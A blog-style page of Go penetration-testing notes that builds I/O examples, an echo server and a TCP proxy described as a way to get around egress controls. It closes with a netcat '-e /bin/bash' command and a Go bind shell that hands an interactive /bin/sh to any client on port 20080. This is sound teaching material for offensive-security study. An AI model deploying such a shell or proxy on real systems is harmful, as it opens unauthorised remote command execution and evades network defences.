zoukankan      html  css  js  c++  java
  • Go Pentester

    Building a TCP Proxy

    Using io.Reader and io.Writer

    Essentially all input/output(I/O).

    package main
    
    import (
    	"fmt"
    	"log"
    	"os"
    )
    
    // FooReader defines an io.Reader to read from stdin.
    type FooReader struct{}
    
    // Read reads data from stdin.
    func (fooReader *FooReader) Read(b []byte) (int, error) {
    	fmt.Print("in > ")
    	return os.Stdin.Read(b)
    }
    
    // FooWriter defines an io.Writer to write to Stdout.
    type FooWriter struct{}
    
    // Write writes data to Stdout.
    func (fooWriter *FooWriter) Write(b []byte) (int, error) {
    	fmt.Print("Out > ")
    	return os.Stdout.Write(b)
    }
    
    func main() {
    	// Instantiate reader and writer.
    	var (
    		reader FooReader
    		writer FooWriter
    	)
    
    	// Create buffer to hold input/output.
    	input := make([]byte, 4096)
    
    	// Use reader to read input.
    	s, err := reader.Read(input)
    	if err != nil {
    		log.Fatalln("Unable to read data")
    	}
    	fmt.Printf("Read %d bytes from stdin
    ", s)
    
    	// Use writer to write output.
    	s, err = writer.Write(input)
    	if err != nil {
    		log.Fatalln("Unable to write data")
    	}
    	fmt.Printf("Wrote %d bytes to stdout
    ", s)
    }
    

      

     Copy function in Go.

    package main
    
    import (
    	"fmt"
    	"io"
    	"log"
    	"os"
    )
    
    // FooReader defines an io.Reader to read from stdin.
    type FooReader struct{}
    
    // Read reads data from stdin.
    func (fooReader *FooReader) Read(b []byte) (int, error) {
    	fmt.Print("in > ")
    	return os.Stdin.Read(b)
    }
    
    // FooWriter defines an io.Writer to write to Stdout.
    type FooWriter struct{}
    
    // Write writes data to Stdout.
    func (fooWriter *FooWriter) Write(b []byte) (int, error) {
    	fmt.Print("Out > ")
    	return os.Stdout.Write(b)
    }
    
    func main() {
    	// Instantiate reader and writer.
    	var (
    		reader FooReader
    		writer FooWriter
    	)
    
    	if _, err := io.Copy(&writer, &reader); err != nil {
    		log.Fatalln("Unable to read/write data")
    	}
    }
    

      

     Creating the Echo Server

    Use net.Conn function in Go.

    package main
    
    import (
    	"io"
    	"log"
    	"net"
    )
    
    // echo is a handler function that simply echoes received data.
    func echo(conn net.Conn) {
    	defer conn.Close()
    
    	// Create a buffer to store received data
    	b := make([]byte, 512)
    	for {
    		// Receive data via conn.Read into a buffer.
    		size, err := conn.Read(b[0:])
    		if err == io.EOF {
    			log.Println("Client disconnected")
    			break
    		}
    		if err != nil {
    			log.Println("Unexpected error")
    			break
    		}
    		log.Printf("Received %d bytes: %s
    ", size, string(b))
    
    		//Send data via conn.Write.
    		log.Println("Writing data")
    		if _, err := conn.Write(b[0:size]); err != nil {
    			log.Fatalln("Unable to write data")
    		}
    	}
    }
    
    func main() {
    	// Bind to TCP port 20080 on all interfaces.
    	listener, err := net.Listen("tcp", ":20080")
    	if err != nil {
    		log.Fatalln("Unable to bind to port")
    	}
    	log.Println("Listening on 0.0.0.0:20080")
    	for {
    		// Wait for connection, Create net.Conn on connection established.
    		conn, err := listener.Accept()
    		log.Println("Received connection")
    		if err != nil {
    			log.Fatalln("Unable to accept connection")
    		}
    		// Handle the connection. Using goroutine for concurrency.
    		go echo(conn)
    	}
    }
    

    Using Telnet as the connecting client:

     The server produces the following standard output:

     Improving the Code by Creating a Buffered Listener.

    Use bufio package in GO.

    // echo is a handler function that simply echoes received data.
    func echo(conn net.Conn) {
    	defer conn.Close()
    
    	reader := bufio.NewReader(conn)
    	s, err := reader.ReadString('
    ')
    	if err != nil {
    		log.Fatalln("Unable to read data")
    	}
    	log.Printf("Read %d bytes: %s", len(s), s)
    
    	log.Println("Writing data")
    	writer := bufio.NewWriter(conn)
    	if _, err := writer.WriteString(s); err != nil {
    		log.Fatalln("Unable to write data")
    	}
    	writer.Flush()
    }
    

    Or use io.Copy in Go.

    // echo is a handler function that simply echoes received data.
    func echo(conn net.Conn) {
    	defer conn.Close()
    	// Copy data from io.Reader to io.Writer via io.Copy().
    	if _, err := io.Copy(conn, conn); err != nil {
    		log.Fatalln("Unable to read/write data")
    	}
    }
    

    Proxying a TCP Client

    It is useful for trying to circumvent restrictive egress controls or to leverage a system to bypass network segmentation.

    package main
    
    import (
    	"io"
    	"log"
    	"net"
    )
    
    func handle(src net.Conn) {
    	dst, err := net.Dial("tcp", "destination.website:80")
    	if err != nil {
    		log.Fatalln("Unable to connect to our unreachable host")
    	}
    	defer dst.Close()
    
    	// Run in goroutine to prevent io.Copy from blocking
    	go func() {
    		// Copy our source's output to the destination
    		if _, err := io.Copy(dst, src); err != nil {
    			log.Fatalln(err)
    		}
    	}()
    	// Copy our destination's output back to our source
    	if _, err := io.Copy(src, dst); err != nil {
    		log.Fatalln(err)
    	}
    }
    
    func main() {
    	// Listen on local port 80
    	listener, err := net.Listen("tcp", ":80")
    	if err != nil {
    		log.Fatalln("Unable to bind to port")
    	}
    
    	for {
    		conn, err := listener.Accept()
    		if err != nil {
    			log.Fatalln("Unable to accept connection")
    		}
    		go handle(conn)
    	}
    }
    

     Replicating Netcat for Command Execution

    The following feature is not included in standard Linux builds.

    nc -lp 13337 -e /bin/bash

     Create it in GO!

    Using PipeReader and PipeWriter allows you to 

    package main
    
    import (
    	"io"
    	"log"
    	"net"
    	"os/exec"
    )
    
    func handle(conn net.Conn) {
    
    	/*
    	 * Explicitly calling /bin/sh and using -i for interactive mode
    	 * so that we can use it for stdin and stdout.
    	 * For Windows use exec.Command("cmd.exe")
    	 */
    	cmd := exec.Command("/bin/sh","-i")
    	rp, wp := io.Pipe()
    	// Set stdin to our connection
    	cmd.Stdin = conn
    	cmd.Stdout = wp
    	go io.Copy(conn, rp)
    	cmd.Run()
    	conn.Close()
    }
    
    func main() {
    	listener, err := net.Listen("tcp", ":20080")
    	if err != nil {
    		log.Fatalln(err)
    	}
    
    	for {
    		conn, err := listener.Accept()
    		if err != nil {
    			log.Fatalln(err)
    		}
    		go handle(conn)
    	}
    }
    

      

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    五月八日冲刺
    五月七号冲刺
    五月六日站立会议
    prufer序列学习笔记
    批量数据导入优化
    索引失效
    慢查询定位与分析
    redis主从同步
    redis RBD机制
    redis AOF机制
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/12347554.html
Copyright © 2011-2022 走看看